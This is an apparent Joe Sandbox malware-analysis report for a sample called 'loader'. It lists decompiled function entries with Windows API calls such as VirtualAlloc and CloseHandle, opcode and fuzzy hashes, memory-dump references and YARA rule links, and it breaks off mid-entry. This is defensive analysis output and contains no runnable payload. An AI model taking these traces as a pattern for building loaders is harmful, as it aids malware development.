Associated: 00000000.00000002.2187129898.00000000006A9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187328048.00000000006AD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.00000000006C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000801000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000806000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000821000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_630000_loader.jbxd

Similarity

API ID: ___security_init_cookie
String ID:
API String ID: 3657697845-0
Opcode ID: 782a6d84ff551b70dd12fd652aaf6a6e882065f31a8d07acc15438d44750f5d9
Instruction ID: 70796ebacb76a00aec37e8a9ca27eb47ae98711611af60fb44410b2a0c16c97e
Opcode Fuzzy Hash: 782a6d84ff551b70dd12fd652aaf6a6e882065f31a8d07acc15438d44750f5d9
Instruction Fuzzy Hash: D7E09A3290824A8ECF25EFD4D8027EDB7B3EB40325F1009B9E911236A28A321944CA59

Function 0064A626 Relevance: 1.5, APIs: 1, Instructions: 16COMMON

Download Yara Rule

APIs

739A6BB0.GDIPLUS(00000010), ref: 0064A62C

Memory Dump Source

Source File: 00000000.00000002.2187129898.0000000000631000.00000040.00000001.01000000.00000003.sdmp, Offset: 00630000, based on PE: true

Associated: 00000000.00000002.2187098367.0000000000630000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.0000000000675000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.0000000000692000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.00000000006A9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187328048.00000000006AD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.00000000006C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000801000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000806000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000821000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_630000_loader.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 04de48f4da0057d5573094f8f1391eb8b680834ec636c82e70e38579218699a2
Instruction ID: 9d491eea3b8152f14e37985ffbaed65e79d1019c339adcfaad6d8e7ce7ef51ef
Opcode Fuzzy Hash: 04de48f4da0057d5573094f8f1391eb8b680834ec636c82e70e38579218699a2
Instruction Fuzzy Hash: 4DD0C77125020976DF426FA18D1296E7597EB01344F048125B841D5152EAB1D910955A

Function 0064DD6D Relevance: 1.5, APIs: 1, Instructions: 13windowCOMMON

Download Yara Rule

APIs

SendDlgItemMessageW.USER32(0000006A,00000402,00000000,?,?), ref: 0064DD92

Part of subcall function 0064B568: PeekMessageW.USER32(?,00000000,00000000,00000000,00000000), ref: 0064B579
Part of subcall function 0064B568: GetMessageW.USER32(?,00000000,00000000,00000000), ref: 0064B58A
Part of subcall function 0064B568: IsDialogMessageW.USER32(00010406,?), ref: 0064B59E
Part of subcall function 0064B568: TranslateMessage.USER32(?), ref: 0064B5AC
Part of subcall function 0064B568: DispatchMessageW.USER32(?), ref: 0064B5B6

Memory Dump Source

Source File: 00000000.00000002.2187129898.0000000000631000.00000040.00000001.01000000.00000003.sdmp, Offset: 00630000, based on PE: true

Associated: 00000000.00000002.2187098367.0000000000630000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.0000000000675000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.0000000000692000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.00000000006A9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187328048.00000000006AD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.00000000006C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000801000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000806000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000821000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_630000_loader.jbxd

Similarity

API ID: Message$DialogDispatchItemPeekSendTranslate
String ID:
API String ID: 897784432-0
Opcode ID: 81698c80cb279af68e0e3cadbb8a062c69143618434970d4011fbbe4abeeea42
Instruction ID: c7cafd961b09865f5e17cb49705105a5833a2bb6002b223b11bdb138082bcd8c
Opcode Fuzzy Hash: 81698c80cb279af68e0e3cadbb8a062c69143618434970d4011fbbe4abeeea42
Instruction Fuzzy Hash: D6D09E31144300BAD7012B51CD06F0B7AE7AB88B08F005959B388740F1C6B29E61DB15

Function 006398BC Relevance: 1.5, APIs: 1, Instructions: 12COMMON

Download Yara Rule

APIs

GetFileType.KERNELBASE(?,006397BE), ref: 006398C8

Memory Dump Source

Source File: 00000000.00000002.2187129898.0000000000631000.00000040.00000001.01000000.00000003.sdmp, Offset: 00630000, based on PE: true

Associated: 00000000.00000002.2187098367.0000000000630000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.0000000000675000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.0000000000692000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.00000000006A9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187328048.00000000006AD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.00000000006C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000801000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000806000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000821000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_630000_loader.jbxd

Similarity

API ID: FileType
String ID:
API String ID: 3081899298-0
Opcode ID: 68b3636f5c44d2cd6b967085f7c7b6bacaf0bf56a22d557ed363fbdcebc4917c
Instruction ID: 69b3eaed8b0a1d10959d3af05f148f244e43e3baa7aa2c4021c685edced8c851
Opcode Fuzzy Hash: 68b3636f5c44d2cd6b967085f7c7b6bacaf0bf56a22d557ed363fbdcebc4917c
Instruction Fuzzy Hash: 55C00234804115958E21562498454D5B713AF93365BB49F95D069852B1C372CC57EE61

Function 00639F09 Relevance: 1.5, APIs: 1, Instructions: 7fileCOMMON

Download Yara Rule

APIs

SetEndOfFile.KERNELBASE(?,0063903E,?,?,-00000870,?,?,?,?,00000000,?,-00000974,?,?,?,?), ref: 00639F0C

Memory Dump Source

Source File: 00000000.00000002.2187129898.0000000000631000.00000040.00000001.01000000.00000003.sdmp, Offset: 00630000, based on PE: true

Associated: 00000000.00000002.2187098367.0000000000630000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.0000000000675000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.0000000000692000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.00000000006A9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187328048.00000000006AD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.00000000006C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000801000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000806000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000821000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_630000_loader.jbxd

Similarity

API ID: File
String ID:
API String ID: 749574446-0
Opcode ID: e11eb8d6230db3b40b8751024726175cd2900f7c6a2ea18eefbea3fa3c9d6c49
Instruction ID: 1e8d859598d1dda7e6d733065b7345dbd839a2ce31932e3d3bbe13cbba0f8ddd
Opcode Fuzzy Hash: e11eb8d6230db3b40b8751024726175cd2900f7c6a2ea18eefbea3fa3c9d6c49
Instruction Fuzzy Hash: FCA0113008802A8A8E002B30CA0800C3B22EB20BC830022A8A00ACA0A2CB22880B8B00

Function 0064AC04 Relevance: 1.5, APIs: 1, Instructions: 5COMMON

Download Yara Rule

APIs

SetCurrentDirectoryW.KERNELBASE(?), ref: 0064AC08

Memory Dump Source

Source File: 00000000.00000002.2187129898.0000000000631000.00000040.00000001.01000000.00000003.sdmp, Offset: 00630000, based on PE: true

Associated: 00000000.00000002.2187098367.0000000000630000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.0000000000675000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.0000000000692000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.00000000006A9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187328048.00000000006AD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.00000000006C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000801000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000806000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000821000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_630000_loader.jbxd

Similarity

API ID: CurrentDirectory
String ID:
API String ID: 1611563598-0
Opcode ID: f810a86a7379052aae55617268adcfdd3e9a063fa2a13e69b9c669bc059f4062
Instruction ID: f5683e5c96e73af3d3e74a075744add6a7e97a35bcf8ce513c9c20d7e957ce3b
Opcode Fuzzy Hash: f810a86a7379052aae55617268adcfdd3e9a063fa2a13e69b9c669bc059f4062
Instruction Fuzzy Hash: 25A011302002208BA3000B328F0AA0EBAAAAFA2B00F00C028A00080230CB30CC20AA00

Function 00639620 Relevance: 1.3, APIs: 1, Instructions: 30COMMON

Download Yara Rule

APIs

CloseHandle.KERNELBASE(000000FF,?,?,006395D6,00000000,00662641,000000FF), ref: 0063963B

Memory Dump Source

Source File: 00000000.00000002.2187129898.0000000000631000.00000040.00000001.01000000.00000003.sdmp, Offset: 00630000, based on PE: true

Associated: 00000000.00000002.2187098367.0000000000630000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.0000000000675000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.0000000000692000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.00000000006A9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187328048.00000000006AD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.00000000006C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000801000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000806000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000821000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_630000_loader.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: 7c1e44fbd0951943b6d4f48621ebe45eb1a02f0b0cbeeabe792c195a6043adbc
Instruction ID: a3e54927eaf3feea843842a24a6fd66f73ce1c87d24658a9f47b4b81cb660490
Opcode Fuzzy Hash: 7c1e44fbd0951943b6d4f48621ebe45eb1a02f0b0cbeeabe792c195a6043adbc
Instruction Fuzzy Hash: A8F08970482B159FFB308A64C85A7D2B7EA6B13325F045B1ED0E742AE0D7A1698DCE90

Function 0064AC7C Relevance: 1.3, APIs: 1, Instructions: 26COMMON

Download Yara Rule

APIs

CoUninitialize.COMBASE(?,?,?,?,00662641,000000FF), ref: 0064ACB5

Memory Dump Source

Source File: 00000000.00000002.2187129898.0000000000631000.00000040.00000001.01000000.00000003.sdmp, Offset: 00630000, based on PE: true

Associated: 00000000.00000002.2187098367.0000000000630000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.0000000000675000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.0000000000692000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.00000000006A9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187328048.00000000006AD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.00000000006C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000801000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000806000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000821000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_630000_loader.jbxd

Similarity

API ID: Uninitialize
String ID:
API String ID: 3861434553-0
Opcode ID: fc92c6227074a32b9672e076a1affa0b5be6de6dbfec37c5f8d079e1909244d1
Instruction ID: 3a1cfa23a3f907f40a4a77cdd9328c98e8dd58657e0f007166e598cda104ab5e
Opcode Fuzzy Hash: fc92c6227074a32b9672e076a1affa0b5be6de6dbfec37c5f8d079e1909244d1
Instruction Fuzzy Hash: FFE06572544650EFC7009F58DC06B45FBAEFB48B20F00426AF416D3B60CB746D40CA94

Function 0082D598 Relevance: 1.3, APIs: 1, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(?,?,?,?), ref: 0082D5C3

Memory Dump Source

Source File: 00000000.00000002.2187363389.0000000000821000.00000040.00000001.01000000.00000003.sdmp, Offset: 006C0000, based on PE: true

Associated: 00000000.00000002.2187363389.00000000006C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000801000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000806000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_630000_loader.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 9f55dcedc4d8ffc018289f8495e68ca906b3d718993c7eccfc65d7d9a398bb67
Instruction ID: 71c6e3ecd4939d022b00800b0213585057e094263e2ff7cfdbcc729da19fe4cd
Opcode Fuzzy Hash: 9f55dcedc4d8ffc018289f8495e68ca906b3d718993c7eccfc65d7d9a398bb67
Instruction Fuzzy Hash: 1EE0ECB5300218ABDB10CE4CEA44B6A37DDF748714F108021FA09D7245C274EC509765

Non-executed Functions

Function 0065D8EE Relevance: 10.1, APIs: 1, Strings: 4, Instructions: 1381COMMONLIBRARYCODE

Download Yara Rule

APIs

__floor_pentium4.LIBCMT ref: 0065DA34

Strings

1#SNAN, xrefs: 0065EC33
1#INF, xrefs: 0065EC41
1#QNAN, xrefs: 0065EC3A
1#IND, xrefs: 0065EC2C

Memory Dump Source

Source File: 00000000.00000002.2187129898.0000000000631000.00000040.00000001.01000000.00000003.sdmp, Offset: 00630000, based on PE: true

Associated: 00000000.00000002.2187098367.0000000000630000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.0000000000675000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.0000000000692000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.00000000006A9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187328048.00000000006AD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.00000000006C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000801000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000806000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000821000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_630000_loader.jbxd

Similarity

API ID: __floor_pentium4
String ID: 1#IND$1#INF$1#QNAN$1#SNAN
API String ID: 4168288129-2761157908
Opcode ID: 983cbcc1f7764cb71a39f81e4725f39e9806214ea0bd720b65340b048cb70be8
Instruction ID: 9c84c9f39e9594dde18e31831ccb41b8936862da52d63a73528f84e01fa7d251
Opcode Fuzzy Hash: 983cbcc1f7764cb71a39f81e4725f39e9806214ea0bd720b65340b048cb70be8
Instruction Fuzzy Hash: F4C23B71E046298FDF69CE28DD407E9B7B6EB44306F1441EAD84DE7280E775AE898F40

Function 006332F7 Relevance: 9.4, APIs: 2, Strings: 3, Instructions: 608COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00633300
_swprintf.LIBCMT ref: 006336C7

Strings

h%u, xrefs: 006336BC
hc%u, xrefs: 0063370A
CMT, xrefs: 00633A17

Memory Dump Source

Source File: 00000000.00000002.2187129898.0000000000631000.00000040.00000001.01000000.00000003.sdmp, Offset: 00630000, based on PE: true

Associated: 00000000.00000002.2187098367.0000000000630000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.0000000000675000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.0000000000692000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.00000000006A9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187328048.00000000006AD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.00000000006C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000801000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000806000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000821000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_630000_loader.jbxd

Similarity

API ID: H_prolog_swprintf
String ID: CMT$h%u$hc%u
API String ID: 146138363-3282847064
Opcode ID: 062eeaf6a95375a0c698f718bc104fdfbcab3f9738f14d7ff275c61117e0a78e
Instruction ID: e185ef73edf5713f69a3339d582305150c27cda295f5251766f11dbb8962f84b
Opcode Fuzzy Hash: 062eeaf6a95375a0c698f718bc104fdfbcab3f9738f14d7ff275c61117e0a78e
Instruction Fuzzy Hash: 3532E371500394AFDB58DF74C896AE93BE6AF15300F04447DFD8A9B382DB709A49CBA4

Function 0063286B Relevance: 7.8, APIs: 3, Strings: 1, Instructions: 798COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00632874
_strlen.LIBCMT ref: 00632E3F

Part of subcall function 006402BA: __EH_prolog.LIBCMT ref: 006402BF

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00632F91

Strings

CMT, xrefs: 00632FBC

Memory Dump Source

Source File: 00000000.00000002.2187129898.0000000000631000.00000040.00000001.01000000.00000003.sdmp, Offset: 00630000, based on PE: true

Associated: 00000000.00000002.2187098367.0000000000630000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.0000000000675000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.0000000000692000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.00000000006A9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187328048.00000000006AD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.00000000006C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000801000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000806000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000821000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_630000_loader.jbxd

Similarity

API ID: H_prolog$Unothrow_t@std@@@__ehfuncinfo$??2@_strlen
String ID: CMT
API String ID: 1057911484-2756464174
Opcode ID: 182304a537b4287b37ef1390e837b1619f62947bec34fb819a0f31751443875f
Instruction ID: a0b65b5a5cdc17e83ff669f126c0e8e9d1faeb69598dbd61955f60ed14b1bb7a
Opcode Fuzzy Hash: 182304a537b4287b37ef1390e837b1619f62947bec34fb819a0f31751443875f
Instruction Fuzzy Hash: 026226715002458FDB19DF38C8967EA7BA2EF54300F08457EFC9A8B382DB759945CBA0

Function 0065D440 Relevance: 3.5, APIs: 2, Instructions: 464COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2187129898.0000000000631000.00000040.00000001.01000000.00000003.sdmp, Offset: 00630000, based on PE: true

Associated: 00000000.00000002.2187098367.0000000000630000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.0000000000675000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.0000000000692000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.00000000006A9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187328048.00000000006AD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.00000000006C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000801000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000806000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000821000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_630000_loader.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aeb1b63111f38c8b5239956e5f87fb8bcb0c35bf5c950da3c1a86b78fccd596c
Instruction ID: ae70cd5f467b0ea7c70267e036a7a2e166bc7fce21a5400be7973f9619fa2752
Opcode Fuzzy Hash: aeb1b63111f38c8b5239956e5f87fb8bcb0c35bf5c950da3c1a86b78fccd596c
Instruction Fuzzy Hash: E6021C71E002199BDF24CFA9C8806EDF7F2EF88315F258269D919EB384D731A945CB94

Function 006D0424 Relevance: 2.7, Strings: 2, Instructions: 233COMMON

Download Yara Rule

Strings

|l, xrefs: 006D05AC
1}, xrefs: 006D052C

Memory Dump Source

Source File: 00000000.00000002.2187363389.00000000006C0000.00000040.00000001.01000000.00000003.sdmp, Offset: 006C0000, based on PE: true

Associated: 00000000.00000002.2187363389.0000000000801000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000806000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000821000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_630000_loader.jbxd

Similarity

API ID:
String ID: 1}$|l
API String ID: 0-1419010634
Opcode ID: ffa0c036d713dc18a97a5dbedc7ffccd13b6cf4cbfb8ad077499083fee2e192b
Instruction ID: 3b9734fa61754524115d12970ede87a559b2fce5b19c059bf37a6d31b5aaa9bf
Opcode Fuzzy Hash: ffa0c036d713dc18a97a5dbedc7ffccd13b6cf4cbfb8ad077499083fee2e192b
Instruction Fuzzy Hash: 81812F6590EBC59FE743A7349C22A693F72EB53300B4A41EBE680CF3A3D5295C05C766

Function 006340FE Relevance: 1.5, Strings: 1, Instructions: 276COMMON

Download Yara Rule

Strings

gj, xrefs: 006341BC

Memory Dump Source

Source File: 00000000.00000002.2187129898.0000000000631000.00000040.00000001.01000000.00000003.sdmp, Offset: 00630000, based on PE: true

Associated: 00000000.00000002.2187098367.0000000000630000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.0000000000675000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.0000000000692000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.00000000006A9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187328048.00000000006AD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.00000000006C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000801000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000806000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000821000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_630000_loader.jbxd

Similarity

API ID:
String ID: gj
API String ID: 0-4203073231
Opcode ID: 3a15e851181cd43b9baf27bfc73dd15eac7fec35237897f5e792821dc264b989
Instruction ID: b350440c9fd56456a05266f3a9c3de740d35ad563d6687f9384fb4b836308bb3
Opcode Fuzzy Hash: 3a15e851181cd43b9baf27bfc73dd15eac7fec35237897f5e792821dc264b989
Instruction Fuzzy Hash: 04C14772A183518FC754CF29D88065AFBE2BFC8308F19892DE998D7311D734E945CB96

Function 04FF4569 Relevance: 1.4, Strings: 1, Instructions: 105COMMON

Download Yara Rule

Strings

b=q=, xrefs: 04FF45CF

Memory Dump Source

Source File: 00000000.00000002.2189140272.0000000004FF0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04FF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4ff0000_loader.jbxd

Similarity

API ID:
String ID: b=q=
API String ID: 0-4069823217
Opcode ID: f54519f03af771d81636df555f17e2543a1de43f2bf65402544a35e822ec2c78
Instruction ID: 3bc8e4b23829a2d1b6e2f6a8eb06693cfcc1b367b851d2a3b36170029d7ddb14
Opcode Fuzzy Hash: f54519f03af771d81636df555f17e2543a1de43f2bf65402544a35e822ec2c78
Instruction Fuzzy Hash: 7D314831949396AFCB328E3848612C7BFF2AF562013E559AFC5C08B406D72154C7DB86

Function 006CCE52 Relevance: 1.3, Strings: 1, Instructions: 39COMMON

Download Yara Rule

Strings

l, xrefs: 006CCE57

Memory Dump Source

